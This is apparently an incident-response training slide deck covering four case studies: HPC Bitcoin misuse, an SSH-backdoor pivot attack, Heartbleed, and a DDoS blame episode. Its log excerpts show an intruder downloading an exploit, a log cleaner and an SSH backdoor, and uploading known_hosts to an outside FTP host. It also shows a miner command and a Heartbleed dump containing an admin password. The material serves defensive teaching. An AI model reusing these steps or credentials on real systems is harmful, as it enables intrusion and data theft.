# Part 3
# Case Studies

- HPC Bitcoin – insider attack
- HPC Pivot Attack – Shared credential incident
- Heartbleed – Zero day
- Crimea – PR attack

# HPC Bitcoin

- First Indication/Alert
  - System Administrator noticed “oddities” in system behavior
  - Noticed term "Bitcoin" in some of the jobs

- Because this administrator knew about Bitcoin he suspected it was a violation of the Authorized Use Policy

# HPC Bitcoin

## *Alert and Determining if it is an Incident*

- *Alert* – One HPC admin identifies an issue with the HPC job scheduler and asks another admin whether the jobs listed were MPMD jobs (multiple program multiple data) that look different than the usual jobs.
- He uses a script that looks at copies of the users job scripts to see if any of the listed job ids were MPMD in nature. He replies that there were no MPMD jobs.

- Something looks "funny"
- He notices the word "bitcoin":

```
aprun -n 1024 -N 1 -d 16 -j 1
      ./alpha-test.x
      -
url=http://213.133.127.145:8332
      -
user=bitcoin_user@yahoo.com_cpu
      -password=foo -threads=16
      -workrefreshms=2000
```

- The PoC for the allocation is contacted and suggests we escalate this.
- Admin did a quick check of usage for jobs showing apparent bitcoin activity and get a little over 75,000 node-hours.

# HPC Bitcoin

## *Initial Investigation*

- Under IRT direction the Admins looked into directory, found odd files
- Reviewed executables that were found in the user's directory and verified via "strings" that it was Bitcoin related
- IRT staff looked at keystroke and Bro logs – *we have a pre-formed team to respond to incidents*
- Reviewed Bro conn logs to identify the ports being used.
  - The ports correlated with known bitcoin ports
- Found out the user was a team member on the project allocation

*After consulting with key stakeholders we Identified that monitoring was the appropriate containment*

# HPC Bitcoin

## *Communicating the Incident*

- Notified the PI of the resource – *note this is an NSF funded computer which is allocated for national research*
- PI notified and consulted with NSF PO
- Notified organizational leaders
- In turn those organizational leaders contacted campus leaders for a briefing and advice
- University legal were briefed on the incident

# HPC Bitcoin

## *On-going Investigation/Monitoring*

### Note from Admin:

**Sunday I alerted that the user had actively running jobs. I checked a script and identified they were running the same script/program I investigated Friday. Notified Resource PI and organizational leaders that the bitcoin miner user was back. Resource PI asked to again verify that it was indeed bitcoin related and not just named the same, and I found:**

```
strings test-alpha-gpu.x |grep -i bitcoin
bitcoinminercuda_20.cubin
bitcoinminercuda_11.cubin
bitcoinminercuda_10.cubin
/u/sciteam/alpha-test-rpc-gpu/src/cuda/bitcoinminercuda.cu
/u/sciteam/alpha-test-rpc-gpu/src/cuda/bitcoinminercuda.cu
```

**I also found source code for the rpcminer bitcoin miner, and some diablo miner remnants (another miner program) in his homedir.**

# HPC Bitcoin

## *Key Investigation Points*

- Early questions:
  - Was it just one account and one user?
    - Was this a wider intrusion?
  - Someone using his account?
    - Stolen?
    - Shared?
- Information Sources Used
  - SSH logs – what commands were run
  - Bro logs – downloaded files
  - History files – user activities
  - Admins looked for similar jobs

# HPC Bitcoin

## *Contain, Eradicate, & Recover*

- Contain
  - Locked down user accounts
  - Closed the holes in the system
  - Added rules to Bro
  - Eradicate
  - Admins removed bitcoin software
- Recovery
  - Got copies of all logs, files, and software. *(Once you remove and recover the information is gone for good)*
  - Make sure you have everything in case you need it later

# HPC Bitcoin

## *Review*

- Alert sent to security team:
  - Admin noticed term "Bitcoin" in some of the jobs, contacted IRT.
  - *This notification worked but why didn't we have any monitoring in place to catch this kind of behavior?*
- Determined if it was an incident by reviewing:
  - Home directory listings
  - Port usage
  - Allocation usage
  - *Had plenty of information to make this determination!*
- Communicated the incident - *this was an on-going communication*
  - Notified the resource owner for guidance
  - Notified university administrative staff and legal
  - Mgmt notified the NSF
  - *Communications process worked!*

# HPC Bitcoin

## *Review*

- Formed incident response team – *in our case this was laying out the case and assignments*
- Decided upon an "immediate" strategy to deal with the incident
  - Blocked user accounts – meaning we shutoff access to the system
  - Added additional monitoring
  - *Mitigation strategy worked and was appropriate!*
- Gather needed information
  - All log information (not just specific to incident logs around the other information)
  - Began talking with the project leader for insight
  - Discussed the incident with the account owner for more details and explanations
  - Made sure to make copies of all potential evidence
  - *Had adequate information sources!*

# HPC Bitcoin

## *Review*

- Contain the incident
  - Lifted the general user login block
  - Continued to block user the specific user account involved in the investigation
  - Put in better detection rules to detect whether the software was downloaded
  - *Containment strategy worked fine!*
- Eradicate
  - Removed the Bitcoin software
  - Maintain records and ensure that it is stored for later use – long-term storage strategy
  - Re-evaluated the access of the users involved
  - *Process worked!*
- Recovery
  - Minimal in this case
  - No vulnerabilities to address
  - No system changes by the intruder to address

# HPC Bitcoin

## *Review*

- Team Evaluation
  - Team functioned well
  - Excellent participation by system admins assisting the investigation
- Communications
  - Communications to key stakeholders worked well
  - Communications among team members worked well
- Policy
  - Policy helped guide what to do in this case
  - Policy was adequate on Appropriate Use of the Resource

# HPC Bitcoin

## *Lesson Learned*

- You have to be on the lookout for new attack methods
- This may not seem like an attack, but it was an attack of the Authorized Use Policy for the resource
- Interesting in that we had not typically been overly concerned about insider kind of attacks previous to this incident

# HPC Pivot Attack/ Shared Credential Incident

- First contact
  - IRT saw an announcement that partner site had an incident.
    - Not to long after the campus cluster was having problems
    - Security noticed that incident was similar to partner site's incident.
  - System Admins got calls from users about problems about accessing head nodes
  - Investigation showed head nodes were up but there were "oddities" in syslog

# HPC Pivot Attack

## *Alert*

Users unable to login & Syslog indications:

```
Oct 18 07:26:09 head1 sshd[21111]: rexec line 80: Unsupported option
GSSAPIAuthentication
Oct 18 07:26:09 head1 sshd[21111]: rexec line 82: Unsupported option
GSSAPICleanupCredentials
Oct 18 07:26:09 head1 sshd[21111]: rexec line 96: Unsupported option UsePAM
Oct 18 07:26:11 head1 sshd[21111]: reprocess config line 80: Unsupported option
GSSAPIAuthentication
Oct 18 07:26:21 head1 sshd[22810]: rexec line 80: Unsupported option
GSSAPIAuthentication
Oct 18 07:26:21 head1 sshd[22810]: rexec line 82: Unsupported option
GSSAPICleanupCredentials
Oct 18 07:26:21 head1 sshd[22810]: rexec line 96: Unsupported option UsePAM

Oct 18 10:52:21 head1 sshd[11039]: User user1 not allowed because account is locked
Oct 18 10:57:13 head1 sshd[11753]: User user2 not allowed because account is locked
Oct 18 10:58:36 head1 sshd[11948]: User user3 not allowed because account is locked
Oct 18 10:59:04 head1 sshd[12010]: User user3 not allowed because account is locked
Oct 18 11:02:50 head1 sshd[12866]: User user4 not allowed because account is locked
Oct 18 11:03:08 head1 sshd[12906]: User user4 not allowed because account is locked
```

# HPC Pivot Attack

## *Communication with IRT*

- Admins contacted IRT and were informed that one node was rebooted for troubleshooting. The other affected node was left in compromised state but blocked from access.
- Rebooting reimaged the node so it destroyed all information for investigation.
- IRT assisted with investigation and identified a modified SSHD binary
- Concurrent incident going on at partner site
- Found out the same user account on both clusters. Passwords were likely similar.
- Both sites had toolkit to gain root access

# HPC Pivot Attack

## *Next Steps/Mitigation*

- Decisions on what to do next
  - Locked down system
  - Began investigation
  - Critical to stop this as quickly as possible to prevent further compromise.

# HPC Pivot Attack

## *Containment*

- Admins locked down access to local network only (allows VPN)
- Locked down second bastion host for analysis
- Locked compromised account

# HPC Pivot Attack: Bro Logs

## *Initial Investigation*

```
http_outbound
2013-10-18 10:41:52.32975       BA4npmhPLmd     72.36.84.11     41249
173.10.160.233  80      1       GET     grsecurity.net
/~spender/exploits/enlightenment.tgz    -       Wget/1.12 (linux-gnu)   0
106904  200     OK      -       -       -       (empty) -       -       -
application/x-gzip      -       -
2013-10-18 11:45:43.069156      lbziRB711J2     72.36.84.12     45495
83.228.93.76    80      1       GET     exploitworld.pc-freak.net
/tools/logcleaners/mig-logcleaner.tar.gz        -       Wget/1.12 (linux-
gnu)    0       6705    200     OK      -       -       -       (empty) -
-       -

ftp
2013-10-18 11:47:20.356827      CUeejNxNjwf     72.36.84.12     39884
66.218.72.127   21      sh0692  <hidden>        RETR
ftp://66.218.72.127/sshbackdoor.tar.gz  -       -       0       226
Transfer complete.      -       -
2013-10-21 05:50:34.980513      WHYA9rBaBr      72.36.84.11     52859
66.218.72.127   21      sh0692  <hidden>        STOR
ftp://66.218.72.127/./known_hosts       -       -       -       226
Transfer complete.      -       -
```

# HPC Pivot Attack

## *Initial Investigation*

```
[root@mgmt1 ~]# ssh head1 md5sum /usr/sbin/sshd
59cc0ee569f6c63db168b3a995a78585  /usr/sbin/sshd

[root@mgmt1 ~]# ssh compute101 md5sum /usr/sbin/sshd
59cc0ee569f6c63db168b3a995a78585  /usr/sbin/sshd

[root@mgmt1 ~]# ssh compute100 md5sum /usr/sbin/sshd
59cc0ee569f6c63db168b3a995a78585  /usr/sbin/sshd

[root@mgmt1 ~]# ssh head2 md5sum /usr/sbin/sshd
828008572453357cbac5a84d50a67260  /usr/sbin/sshd
```

# HPC Pivot Attack

## *Initial Investigation*

```
[root@head2 ~]# rpm --verify -v openssh-server openssh-clients
.........  c /etc/pam.d/ssh-keycat
S.5....T.  c /etc/pam.d/sshd
.........    /etc/rc.d/init.d/sshd
S.5....T.  c /etc/ssh/sshd_config
.........  c /etc/sysconfig/sshd
.........    /usr/libexec/openssh/sftp-server
.........    /usr/libexec/openssh/ssh-keycat
.........    /usr/sbin/.sshd.hmac
S.5....T.    /usr/sbin/sshd
.........    /var/empty/sshd
S.5....T.  c /etc/ssh/ssh_config
.........    /usr/bin/.ssh.hmac
S.5....T.    /usr/bin/scp
S.5....T.    /usr/bin/sftp
.........    /usr/bin/slogin
S.5....T.    /usr/bin/ssh
S.5....T.    /usr/bin/ssh-add
SM5...GT.    /usr/bin/ssh-agent
.........    /usr/bin/ssh-copy-id
S.5....T.    /usr/bin/ssh-keyscan
```

Versus the same on head1

# HPC Pivot Attack

## *Initial Investigation*

```
[root@head1 ~]# rpm --verify -v openssh-server openssh-clients
.........  c /etc/pam.d/ssh-keycat
S.5....T.  c /etc/pam.d/sshd
.........    /etc/rc.d/init.d/sshd
S.5....T.  c /etc/ssh/sshd_config
.........  c /etc/sysconfig/sshd
.........    /usr/libexec/openssh/sftp-server
.........    /usr/libexec/openssh/ssh-keycat
.........    /usr/sbin/.sshd.hmac
.........    /usr/sbin/sshd
.........    /var/empty/sshd
S.5....T.  c /etc/ssh/ssh_config
.........    /usr/bin/.ssh.hmac
.........    /usr/bin/scp
.........    /usr/bin/sftp
....L....    /usr/bin/slogin
.........    /usr/bin/ssh
.........    /usr/bin/ssh-add
.........    /usr/bin/ssh-agent
.........    /usr/bin/ssh-copy-id
.........    /usr/bin/ssh-keyscan
```

# HPC Pivot Attack

## *Further Analysis*

```
[irt@investigation .ssh]$ cat known_hosts

hpc-alpha.acme.edu,11.12.13.14 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy...
hpc-beta.acme.edu,15.16.17.18 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4...
```

# HPC Pivot Attack

## *Next Steps*

- Communicated to other orgs about incident and suggested they check their systems
- Found other overlapping accounts and let other sites know
- Looked for what files had been replaced
- Check other local systems for similar files
- Check network traffic for similar downloads

# HPC Pivot Attack

## *Contain, Eradicate, & Recover*

- Locked down access to local IPs only until affected accounts locked
- Gathered all data
- Patched hole - system was behind on patches. Known security hole was exploited
- Rebooted with patched system
- All users were instructed to change passwords before access restored
- Education of users

# HPC Pivot Attack

## *Review*

- Determining if there is an incident
  - Admin for campus cluster got a report users were not able to log into head nodes
  - Noticed an oddity in syslogs
  - Need to have trust in the skills of your admins to notice things out of place
- Determine how to handle the incident
  - Locked down access until IRT could determine what happened
- Communicate the incident
  - Coordinate with the System Admins
  - Communicated to other orgs about incident
  - Again, it's important to have those communication lines open and available!

# HPC Pivot Attack
## *Review*

- Gather needed information
  - Checked files on the system for compromise
  - Collected logs
  - If you haven't started collecting logs use this is a lesson to find gaps.
- Contain the incident
  - Blocked accounts
  - Require users to reset passwords and/or implement multi-factor
- Eradicate
  - Restarted nodes to clean, patched image
  - Follow up with a security scan/review of the system to confirm patches

# HPC Pivot Attack

## *Review*

- Recovery
  - Patching procedure changed
  - User education
  - Implement new security procedures
  - Identify gaps

# Heartbleed

## *Zero-Day Response*

- Knew it was a vulnerability
  - Did not know if there were any affected systems
    - *this is where a good configuration management system can help*
  - Scanned all systems looking for issues
  - Allowed access of memory block
  - Assessment made about impact
  - Time was spent on figuring out what needed to be done.
  - How many systems would be impacted?
  - Did all users need to change passwords?
- Having Bro helped
  - Bro produced a list of machines that might be a problem
  - Went from thousands of machines to a couple hundred

# Heartbleed

## *Example of Vulnerability*

```
0210: 6B 69 65 3A 20 50 48 50 53 45 53 53 49 44 3D 38  kie: PHPSESSID=8
0220: 32 62 33 32 61 33 66 64 61 33 61 30 34 33 37 62  2b32a3fda3a0437b
0230: 31 64 39 37 37 34 32 31 37 32 30 66 31 36 35 3B  1d977421720f165;
0240: 20 63 6F 6F 6B 69 65 5F 74 65 73 74 3D 31 33 39   cookie_test=139
0250: 37 31 34 35 30 35 37 0D 0A 0D 0A 5F 5F 63 73 72  7145057...__csr
0260: 66 5F 6D 61 67 69 63 3D 73 69 64 25 33 41 33 32  f_magic=sid%3A32
0270: 37 34 33 66 33 38 39 65 66 62 35 38 63 33 65 36  743f389efb58c3e6
0280: 34 63 36 62 65 62 62 38 63 65 62 39 36 35 33 32  4c6bebb8ceb96532
0290: 33 39 37 66 36 36 25 32 43 31 33 39 37 31 34 31  397f66%2C1397141
02a0: 34 35 37 26 75 73 65 72 6E 61 6D 65 66 6C 64 3D  457&usernamefld=
02b0: 61 64 6D 69 6E 26 70 61 73 73 77 6F 72 64 66 6C  admin&passwordfl
02c0: 64 3D 78 36 38 61 70 68 75 66 61 70 68 61 26 6C  d=x68aphufapha&l
02d0: 6F 67 69 6E 3D 4C 6F 67 69 6E 30 75 83 31 CE 8E  ogin=Login0u.1..
```

# Heartbleed

## *Moving Forward*

- Contacted admins of problem machines told to fix immediately
- Or come up with a plan to deal with
- Blocked problem machines until fixed
- Sent an email to all staff, explaining what Heartbleed was, and gave instructions on what to do

# Heartbleed
## *Monitoring/Alerting*

- Created automated scan to find vulnerable hosts
  - Leveraged Bro ‘Services’ log
  - Leveraged Proof of Concept Script
  - Leveraged Splunk

- Network Monitoring
  - Implemented NSM solution for detecting attempts

# Heartbleed

## *Recovery*

- Fix took a patch and reboot.
- Systems were not allowed back until script verified they were properly fixed
- Many systems took a long time to patch (e.g. ESX)

# Heartbleed

## *Review*

- Determining if there is an incident
  - IRT was proactive, knew there was a vulnerability
  - IRT needs to keep up to date on latest threats
- Determine how to handle the incident
  - Staff spent a lot of time evaluating situation and came up with an action plan
- Communicate the incident
  - Contacted staff and admins about issue and what to do
- Gather needed information
  - Determining the vulnerable systems (and their admins) and how to mitigate the issue with a patch

# Heartbleed

## *Review*

- Contain the incident
  - Plan to block hosts if they weren't patched
- Monitor & Eradicate
  - This took time.  Needed to identify hosts and develop plan to patch.
  - Monitoring should be automated, not one-off checks
- Recovery
  - Once the patches were up they could remove the blocks in the network
  - Everyone on campus had to change their PWs

# Crimea

## *Overview*


- Crimean Referendum site was DDoSed
- University was blamed
- PR was contacted with inferences that we contributed to attack
- Were able to confirm we did not contribute to the attack

# Crimea

## *Threat Identification*


- IRT identifies a potential threat against the site weeks before the incident
- NTP Reflection is possible
- Not an immediate threat
- May not adversely affect the network

# Crimea

## *Mitigation of Threat*


- IRT identifies hosts running NTP
- IRT checks for vulnerability
- IRT notifies administrators of threat and require mitigation
  - Block
  - Patch and rescan

# Crimea


## *Communication/Initial Investigation*

- Public Relations is contacted by a reporter asking about claims of NCSA's involvement in Crimean referendum DDoS attack.
- PR relays information to IRT
- IRT starts analysis
  - Checks flow logs – Nothing found
  - Checks http logs – Nothing found
  - Checks another scan – Nothing found

# Crimea


## *The Voice of Russia Claims*

- “Our IT safety experts managed to find out where those attacks came from. It is University of Illinois at Urbana Champaign. The most powerful scanning of servers before the attack was carried out exactly from there.”
- We have 3 airports
- 500 IP addresses per resident of Champaign
- One HQ of the NSA is located there

# Crimea

## *Communication*


- Contact central IT security and relay report
- Send heads up to org directors and campus legal and CISO
- Contact PR to confirm details that we did not, in any way, contribute

# Crimea
## *Review*


- Identify potential threat
  - IRT should keep up to date on latest threats
- Patch and Scan
  - Do not only identify vulnerabilities but add monitoring
- Keep communication lines open

# Questions?